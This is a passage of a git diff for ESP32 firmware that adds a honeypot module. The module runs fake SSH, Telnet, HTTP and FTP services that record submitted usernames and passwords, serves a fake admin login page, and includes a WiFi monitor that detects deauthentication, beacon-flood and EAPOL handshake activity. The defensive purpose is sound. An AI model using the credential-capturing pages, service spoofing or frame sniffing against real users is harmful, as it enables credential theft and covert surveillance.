struct timeval ctv = { .tv_sec = CLIENT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &ctv, sizeof(ctv));
|
||||
|
||||
char client_ip[16];
|
||||
uint16_t client_port;
|
||||
sockaddr_to_str(&client_addr, client_ip, sizeof(client_ip),
|
||||
&client_port);
|
||||
|
||||
hp_svc_id_t id = (hp_svc_id_t)(svc - services);
|
||||
if (id < HP_SVC_COUNT && handlers[id]) {
|
||||
handlers[id](client_fd, client_ip, client_port, svc);
|
||||
}
|
||||
|
||||
close(client_fd);
|
||||
}
|
||||
|
||||
done:
|
||||
if (listen_fd >= 0)
|
||||
close(listen_fd);
|
||||
svc->running = false;
|
||||
svc->stop_req = false;
|
||||
ESP_LOGI(TAG, "%s stopped", svc->name);
|
||||
svc->task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_svc_start(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
if (d->running || d->task) {
|
||||
ESP_LOGW(TAG, "%s already running", d->name);
|
||||
return;
|
||||
}
|
||||
|
||||
d->stop_req = false;
|
||||
d->connections = 0;
|
||||
d->auth_attempts = 0;
|
||||
|
||||
char name[16];
|
||||
snprintf(name, sizeof(name), "hp_%s", d->name);
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(listener_task, name, SVC_STACK_SIZE,
|
||||
d, SVC_PRIORITY, &d->task, SVC_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create %s task", d->name);
|
||||
d->task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_svc_stop(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
if (!d->running && !d->task) {
|
||||
ESP_LOGW(TAG, "%s not running", d->name);
|
||||
return;
|
||||
}
|
||||
d->stop_req = true;
|
||||
ESP_LOGI(TAG, "%s stop requested", d->name);
|
||||
}
|
||||
|
||||
bool hp_svc_running(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return false;
|
||||
return services[svc].running;
|
||||
}
|
||||
|
||||
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return 0;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
return snprintf(buf, len,
|
||||
"service=%s running=%s port=%d connections=%lu auth_attempts=%lu",
|
||||
d->name,
|
||||
d->running ? "yes" : "no",
|
||||
d->port,
|
||||
(unsigned long)d->connections,
|
||||
(unsigned long)d->auth_attempts);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
30
espilon_bot/components/mod_honeypot/hp_tcp_services.h
Normal file
30
espilon_bot/components/mod_honeypot/hp_tcp_services.h
Normal file
@ -0,0 +1,30 @@
|
||||
/*
|
||||
* hp_tcp_services.h
|
||||
* Lightweight TCP honeypot listeners (SSH, Telnet, HTTP, FTP).
|
||||
* Each service runs as an independent FreeRTOS task.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
typedef enum {
|
||||
HP_SVC_SSH = 0,
|
||||
HP_SVC_TELNET = 1,
|
||||
HP_SVC_HTTP = 2,
|
||||
HP_SVC_FTP = 3,
|
||||
HP_SVC_COUNT
|
||||
} hp_svc_id_t;
|
||||
|
||||
/* Start / stop a single service */
|
||||
void hp_svc_start(hp_svc_id_t svc);
|
||||
void hp_svc_stop(hp_svc_id_t svc);
|
||||
bool hp_svc_running(hp_svc_id_t svc);
|
||||
|
||||
/* Get service status line (key=value format) */
|
||||
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len);
|
||||
|
||||
/* Map service name string to id, returns -1 on unknown */
|
||||
int hp_svc_name_to_id(const char *name);
|
||||
|
||||
/* Map id to name */
|
||||
const char *hp_svc_id_to_name(hp_svc_id_t svc);
|
||||
320
espilon_bot/components/mod_honeypot/hp_wifi_monitor.c
Normal file
320
espilon_bot/components/mod_honeypot/hp_wifi_monitor.c
Normal file
@ -0,0 +1,320 @@
|
||||
/*
|
||||
* hp_wifi_monitor.c
|
||||
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
|
||||
* beacon flood, EAPOL capture detection.
|
||||
*
|
||||
* Sends EVT| events via event_send().
|
||||
* Conflict guard: refuses to start if the fakeAP sniffer is active.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
#include "hp_wifi_monitor.h"
|
||||
|
||||
#define TAG "HP_WIFI"
|
||||
|
||||
#define WIFI_MON_STACK 4096
|
||||
#define WIFI_MON_PRIO 4
|
||||
#define WIFI_MON_CORE 1
|
||||
|
||||
/* Rate-limit counters (only report every N-th event) */
|
||||
#define PROBE_RATE_LIMIT 10
|
||||
#define DEAUTH_RATE_LIMIT 5
|
||||
#define BEACON_RATE_LIMIT 20
|
||||
#define EAPOL_RATE_LIMIT 3
|
||||
|
||||
/* Beacon flood detection: N beacons in BEACON_WINDOW_MS from same src */
|
||||
#define BEACON_FLOOD_THRESHOLD 50
|
||||
#define BEACON_WINDOW_MS 5000
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static atomic_bool mon_running = false;
|
||||
static atomic_bool mon_stop_req = false;
|
||||
static TaskHandle_t mon_task = NULL;
|
||||
|
||||
static uint32_t cnt_probe = 0;
|
||||
static uint32_t cnt_deauth = 0;
|
||||
static uint32_t cnt_beacon = 0;
|
||||
static uint32_t cnt_eapol = 0;
|
||||
|
||||
/* Multi-source beacon flood tracker */
|
||||
#define BEACON_TRACK_MAX 4
|
||||
|
||||
typedef struct {
|
||||
uint8_t mac[6];
|
||||
uint32_t count;
|
||||
uint32_t start;
|
||||
bool alerted;
|
||||
} beacon_tracker_t;
|
||||
|
||||
static beacon_tracker_t beacon_trackers[BEACON_TRACK_MAX];
|
||||
static int beacon_tracker_count = 0;
|
||||
|
||||
/* ============================================================
|
||||
* IEEE 802.11 helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Frame control subtypes */
|
||||
#define WLAN_FC_TYPE_MGMT 0x00
|
||||
#define WLAN_FC_STYPE_PROBE 0x40 /* Probe Request */
|
||||
#define WLAN_FC_STYPE_BEACON 0x80 /* Beacon */
|
||||
#define WLAN_FC_STYPE_DEAUTH 0xC0 /* Deauthentication */
|
||||
|
||||
/* EAPOL: data frame with ethertype 0x888E */
|
||||
#define ETHERTYPE_EAPOL 0x888E
|
||||
|
||||
static void mac_to_str(const uint8_t *mac, char *buf, size_t len)
|
||||
{
|
||||
snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Beacon flood helper — find or create tracker for MAC
|
||||
* ============================================================ */
|
||||
static beacon_tracker_t *beacon_find_or_create(const uint8_t *mac, uint32_t now)
|
||||
{
|
||||
/* Search existing */
|
||||
for (int i = 0; i < beacon_tracker_count; i++) {
|
||||
if (memcmp(beacon_trackers[i].mac, mac, 6) == 0)
|
||||
return &beacon_trackers[i];
|
||||
}
|
||||
|
||||
/* Evict oldest if full */
|
||||
if (beacon_tracker_count >= BEACON_TRACK_MAX) {
|
||||
int oldest = 0;
|
||||
for (int i = 1; i < beacon_tracker_count; i++) {
|
||||
if (beacon_trackers[i].start < beacon_trackers[oldest].start)
|
||||
oldest = i;
|
||||
}
|
||||
if (oldest < beacon_tracker_count - 1)
|
||||
beacon_trackers[oldest] = beacon_trackers[beacon_tracker_count - 1];
|
||||
beacon_tracker_count--;
|
||||
}
|
||||
|
||||
beacon_tracker_t *t = &beacon_trackers[beacon_tracker_count++];
|
||||
memcpy(t->mac, mac, 6);
|
||||
t->count = 0;
|
||||
t->start = now;
|
||||
t->alerted = false;
|
||||
return t;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Promiscuous RX callback
|
||||
* ============================================================ */
|
||||
static void wifi_monitor_rx_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (!mon_running)
|
||||
return;
|
||||
|
||||
const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
|
||||
const uint8_t *frame = pkt->payload;
|
||||
uint16_t frame_len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (frame_len < 24)
|
||||
return;
|
||||
|
||||
uint8_t fc0 = frame[0];
|
||||
uint8_t fc_type = fc0 & 0x0C; /* bits 2-3 */
|
||||
uint8_t fc_subtype = fc0 & 0xF0; /* bits 4-7 */
|
||||
|
||||
/* Source MAC (addr2 = transmitter) at offset 10 */
|
||||
const uint8_t *src_mac = &frame[10];
|
||||
char mac_str[18];
|
||||
|
||||
if (type == WIFI_PKT_MGMT) {
|
||||
if (fc_type == WLAN_FC_TYPE_MGMT) {
|
||||
|
||||
/* --- Probe Request --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_PROBE) {
|
||||
cnt_probe++;
|
||||
if ((cnt_probe % PROBE_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "count=%lu",
|
||||
(unsigned long)cnt_probe);
|
||||
event_send("WIFI_PROBE", "LOW",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* --- Deauthentication --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_DEAUTH) {
|
||||
cnt_deauth++;
|
||||
if ((cnt_deauth % DEAUTH_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "reason=%d count=%lu",
|
||||
(frame_len >= 26) ? (frame[24] | (frame[25] << 8)) : 0,
|
||||
(unsigned long)cnt_deauth);
|
||||
event_send("WIFI_DEAUTH", "HIGH",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* --- Beacon flood detection (multi-source) --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_BEACON) {
|
||||
uint32_t now = (uint32_t)(xTaskGetTickCount() *
|
||||
portTICK_PERIOD_MS);
|
||||
|
||||
beacon_tracker_t *bt = beacon_find_or_create(src_mac, now);
|
||||
|
||||
if ((now - bt->start) >= BEACON_WINDOW_MS) {
|
||||
/* Window expired, reset */
|
||||
bt->start = now;
|
||||
bt->count = 1;
|
||||
bt->alerted = false;
|
||||
} else {
|
||||
bt->count++;
|
||||
if (bt->count >= BEACON_FLOOD_THRESHOLD && !bt->alerted) {
|
||||
bt->alerted = true;
|
||||
cnt_beacon++;
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"beacons=%lu window_ms=%d",
|
||||
(unsigned long)bt->count,
|
||||
BEACON_WINDOW_MS);
|
||||
event_send("WIFI_BEACON_FLOOD", "HIGH",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* --- EAPOL detection (data frames with 802.1X ethertype) --- */
|
||||
if (type == WIFI_PKT_DATA && frame_len >= 36) {
|
||||
/* LLC/SNAP header starts at offset 24 for data frames:
|
||||
* 24: AA AA 03 00 00 00 [ethertype_hi] [ethertype_lo] */
|
||||
if (frame[24] == 0xAA && frame[25] == 0xAA && frame[26] == 0x03) {
|
||||
uint16_t ethertype = (frame[30] << 8) | frame[31];
|
||||
if (ethertype == ETHERTYPE_EAPOL) {
|
||||
cnt_eapol++;
|
||||
if ((cnt_eapol % EAPOL_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "count=%lu",
|
||||
(unsigned long)cnt_eapol);
|
||||
event_send("WIFI_EAPOL", "CRITICAL",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Monitor task (just keeps alive, callback does the work)
|
||||
* ============================================================ */
|
||||
static void wifi_monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
esp_err_t err = esp_wifi_set_promiscuous_rx_cb(wifi_monitor_rx_cb);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(err));
|
||||
goto done;
|
||||
}
|
||||
|
||||
err = esp_wifi_set_promiscuous(true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(err));
|
||||
goto done;
|
||||
}
|
||||
|
||||
/* Filter: management + data frames only */
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT |
|
||||
WIFI_PROMIS_FILTER_MASK_DATA
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ESP_LOGI(TAG, "WiFi monitor started");
|
||||
mon_running = true;
|
||||
|
||||
/* Idle loop, checking for stop request */
|
||||
while (!mon_stop_req) {
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
}
|
||||
|
||||
esp_wifi_set_promiscuous(false);
|
||||
esp_wifi_set_promiscuous_rx_cb(NULL);
|
||||
|
||||
done:
|
||||
mon_running = false;
|
||||
mon_stop_req = false;
|
||||
ESP_LOGI(TAG, "WiFi monitor stopped");
|
||||
mon_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_wifi_monitor_start(void)
|
||||
{
|
||||
if (mon_running || mon_task) {
|
||||
ESP_LOGW(TAG, "WiFi monitor already running");
|
||||
return;
|
||||
}
|
||||
|
||||
cnt_probe = cnt_deauth = cnt_beacon = cnt_eapol = 0;
|
||||
memset(beacon_trackers, 0, sizeof(beacon_trackers));
|
||||
beacon_tracker_count = 0;
|
||||
mon_stop_req = false;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(wifi_monitor_task, "hp_wifi",
|
||||
WIFI_MON_STACK, NULL, WIFI_MON_PRIO, &mon_task, WIFI_MON_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create WiFi monitor task");
|
||||
mon_task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_wifi_monitor_stop(void)
|
||||
{
|
||||
if (!mon_running && !mon_task) {
|
||||
ESP_LOGW(TAG, "WiFi monitor not running");
|
||||
return;
|
||||
}
|
||||
mon_stop_req = true;
|
||||
ESP_LOGI(TAG, "WiFi monitor stop requested");
|
||||
}
|
||||
|
||||
bool hp_wifi_monitor_running(void)
|
||||
{
|
||||
return mon_running;
|
||||
}
|
||||
|
||||
int hp_wifi_monitor_status(char *buf, size_t len)
|
||||
{
|
||||
return snprintf(buf, len,
|
||||
"running=%s probes=%lu deauth=%lu beacon_flood=%lu eapol=%lu",
|
||||
mon_running ? "yes" : "no",
|
||||
(unsigned long)cnt_probe,
|
||||
(unsigned long)cnt_deauth,
|
||||
(unsigned long)cnt_beacon,
|
||||
(unsigned long)cnt_eapol);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
13
espilon_bot/components/mod_honeypot/hp_wifi_monitor.h
Normal file
13
espilon_bot/components/mod_honeypot/hp_wifi_monitor.h
Normal file
@ -0,0 +1,13 @@
|
||||
/*
|
||||
* hp_wifi_monitor.h
|
||||
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
|
||||
* beacon flood, EAPOL capture detection.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
void hp_wifi_monitor_start(void);
|
||||
void hp_wifi_monitor_stop(void);
|
||||
bool hp_wifi_monitor_running(void);
|
||||
int hp_wifi_monitor_status(char *buf, size_t len);
|
||||
41
espilon_bot/components/mod_honeypot/services/svc_common.h
Normal file
41
espilon_bot/components/mod_honeypot/services/svc_common.h
Normal file
@ -0,0 +1,41 @@
|
||||
/*
|
||||
* svc_common.h
|
||||
* Shared types and helpers for honeypot TCP service handlers.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
|
||||
#define MAX_CLIENT_BUF 256
|
||||
|
||||
/* Service runtime descriptor (owned by hp_tcp_services.c) */
|
||||
typedef struct {
|
||||
const char *name;
|
||||
uint16_t port;
|
||||
volatile bool running;
|
||||
volatile bool stop_req;
|
||||
TaskHandle_t task;
|
||||
uint32_t connections;
|
||||
uint32_t auth_attempts;
|
||||
} hp_svc_desc_t;
|
||||
|
||||
/* Client handler signature */
|
||||
typedef void (*hp_client_handler_t)(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc);
|
||||
|
||||
/* Per-service handlers (implemented in svc_*.c) */
|
||||
void handle_ssh_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_telnet_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_http_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_ftp_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
68
espilon_bot/components/mod_honeypot/services/svc_ftp.c
Normal file
68
espilon_bot/components/mod_honeypot/services/svc_ftp.c
Normal file
@ -0,0 +1,68 @@
|
||||
/*
|
||||
* svc_ftp.c
|
||||
* FTP honeypot handler — banner + USER/PASS capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <strings.h>
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_ftp_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("ftp", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 21, "service=ftp", NULL);
|
||||
|
||||
char user[64] = {0}, pass[64] = {0};
|
||||
|
||||
for (int round = 0; round < 4; round++) {
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n <= 0) break;
|
||||
buf[n] = '\0';
|
||||
|
||||
if (strncasecmp(buf, "USER ", 5) == 0) {
|
||||
strncpy(user, buf + 5, sizeof(user) - 1);
|
||||
user[sizeof(user) - 1] = '\0';
|
||||
char *p = user; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
|
||||
const char *resp = "331 Password required\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
} else if (strncasecmp(buf, "PASS ", 5) == 0) {
|
||||
strncpy(pass, buf + 5, sizeof(pass) - 1);
|
||||
pass[sizeof(pass) - 1] = '\0';
|
||||
char *p = pass; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
|
||||
const char *resp = "530 Login incorrect\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
break;
|
||||
} else if (strncasecmp(buf, "QUIT", 4) == 0) {
|
||||
const char *resp = "221 Goodbye\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
break;
|
||||
} else {
|
||||
const char *resp = "500 Unknown command\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
}
|
||||
}
|
||||
|
||||
if (user[0] || pass[0]) {
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"service=ftp user='%.32s' pass='%.32s'", user, pass);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 21, detail, NULL);
|
||||
}
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
106
espilon_bot/components/mod_honeypot/services/svc_http.c
Normal file
106
espilon_bot/components/mod_honeypot/services/svc_http.c
Normal file
@ -0,0 +1,106 @@
|
||||
/*
|
||||
* svc_http.c
|
||||
* HTTP honeypot handler — request logging + POST body capture.
|
||||
* Serves a fake login page to capture credentials.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
/* Extract server name from NVS banner (e.g. "Apache/2.4.54 (Ubuntu)") */
|
||||
static void extract_server_name(char *out, size_t out_len)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("http", banner, sizeof(banner));
|
||||
|
||||
/* Banner format: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" */
|
||||
char *srv = strstr(banner, "Server: ");
|
||||
if (srv) {
|
||||
srv += 8;
|
||||
char *end = strstr(srv, "\r\n");
|
||||
size_t len = end ? (size_t)(end - srv) : strlen(srv);
|
||||
if (len >= out_len) len = out_len - 1;
|
||||
memcpy(out, srv, len);
|
||||
out[len] = '\0';
|
||||
} else {
|
||||
snprintf(out, out_len, "Apache/2.4.54");
|
||||
}
|
||||
}
|
||||
|
||||
/* Login page body */
|
||||
static const char LOGIN_PAGE[] =
|
||||
"<html><head><title>Admin Panel</title>"
|
||||
"<style>body{font-family:sans-serif;background:#f0f0f0;display:flex;"
|
||||
"justify-content:center;align-items:center;height:100vh;margin:0}"
|
||||
".box{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,.2)}"
|
||||
"input{display:block;margin:0.5rem 0;padding:0.4rem;width:200px}"
|
||||
"button{padding:0.5rem 1rem;cursor:pointer}</style></head>"
|
||||
"<body><div class='box'><h2>Authentication Required</h2>"
|
||||
"<form method='POST' action='/login'>"
|
||||
"<input name='user' placeholder='Username'>"
|
||||
"<input name='pass' type='password' placeholder='Password'>"
|
||||
"<button type='submit'>Login</button>"
|
||||
"</form></div></body></html>";
|
||||
|
||||
void handle_http_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
svc->connections++;
|
||||
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n <= 0) return;
|
||||
buf[n] = '\0';
|
||||
|
||||
/* Extract first line without modifying buf (needed for POST body search) */
|
||||
char first_line[130];
|
||||
char *eol = strstr(buf, "\r\n");
|
||||
size_t fl_len = eol ? (size_t)(eol - buf) : (size_t)n;
|
||||
if (fl_len >= sizeof(first_line)) fl_len = sizeof(first_line) - 1;
|
||||
memcpy(first_line, buf, fl_len);
|
||||
first_line[fl_len] = '\0';
|
||||
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail), "service=http request='%.128s'", first_line);
|
||||
event_send("SVC_CONNECT", "MEDIUM", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 80, detail, NULL);
|
||||
|
||||
/* Check for POST data → auth attempt */
|
||||
if (strncmp(buf, "POST", 4) == 0) {
|
||||
svc->auth_attempts++;
|
||||
char *body = strstr(buf, "\r\n\r\n");
|
||||
if (body) {
|
||||
body += 4;
|
||||
char post_detail[192];
|
||||
snprintf(post_detail, sizeof(post_detail),
|
||||
"service=http post='%.128s'", body);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 80, post_detail, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* Build proper HTTP response */
|
||||
char server_name[64];
|
||||
extract_server_name(server_name, sizeof(server_name));
|
||||
|
||||
int body_len = (int)sizeof(LOGIN_PAGE) - 1;
|
||||
char resp_hdr[256];
|
||||
int hdr_len = snprintf(resp_hdr, sizeof(resp_hdr),
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Server: %s\r\n"
|
||||
"Content-Type: text/html\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Connection: close\r\n\r\n",
|
||||
server_name, body_len);
|
||||
|
||||
send(client_fd, resp_hdr, hdr_len, 0);
|
||||
send(client_fd, LOGIN_PAGE, body_len, 0);
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
42
espilon_bot/components/mod_honeypot/services/svc_ssh.c
Normal file
42
espilon_bot/components/mod_honeypot/services/svc_ssh.c
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* svc_ssh.c
|
||||
* SSH honeypot handler — banner + auth attempt capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_ssh_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("ssh", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 22, "service=ssh", NULL);
|
||||
|
||||
/* Read client version string / auth attempt */
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
while (n > 0 && (buf[n-1] == '\r' || buf[n-1] == '\n'))
|
||||
buf[--n] = '\0';
|
||||
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail), "service=ssh payload='%.128s'", buf);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 22, detail, NULL);
|
||||
}
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
60
espilon_bot/components/mod_honeypot/services/svc_telnet.c
Normal file
60
espilon_bot/components/mod_honeypot/services/svc_telnet.c
Normal file
@ -0,0 +1,60 @@
|
||||
/*
|
||||
* svc_telnet.c
|
||||
* Telnet honeypot handler — login prompt + user/pass capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_telnet_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("telnet", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 23, "service=telnet", NULL);
|
||||
|
||||
/* Read username */
|
||||
char user[64] = {0};
|
||||
int n = recv(client_fd, user, sizeof(user) - 1, 0);
|
||||
if (n > 0) {
|
||||
user[n] = '\0';
|
||||
while (n > 0 && (user[n-1] == '\r' || user[n-1] == '\n'))
|
||||
user[--n] = '\0';
|
||||
}
|
||||
|
||||
/* Send password prompt */
|
||||
const char *pass_prompt = "Password: ";
|
||||
send(client_fd, pass_prompt, strlen(pass_prompt), 0);
|
||||
|
||||
char pass[64] = {0};
|
||||
n = recv(client_fd, pass, sizeof(pass) - 1, 0);
|
||||
if (n > 0) {
|
||||
pass[n] = '\0';
|
||||
while (n > 0 && (pass[n-1] == '\r' || pass[n-1] == '\n'))
|
||||
pass[--n] = '\0';
|
||||
}
|
||||
|
||||
if (user[0] || pass[0]) {
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"service=telnet user='%.32s' pass='%.32s'", user, pass);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 23, detail, NULL);
|
||||
}
|
||||
|
||||
const char *fail = "\r\nLogin incorrect\r\n";
|
||||
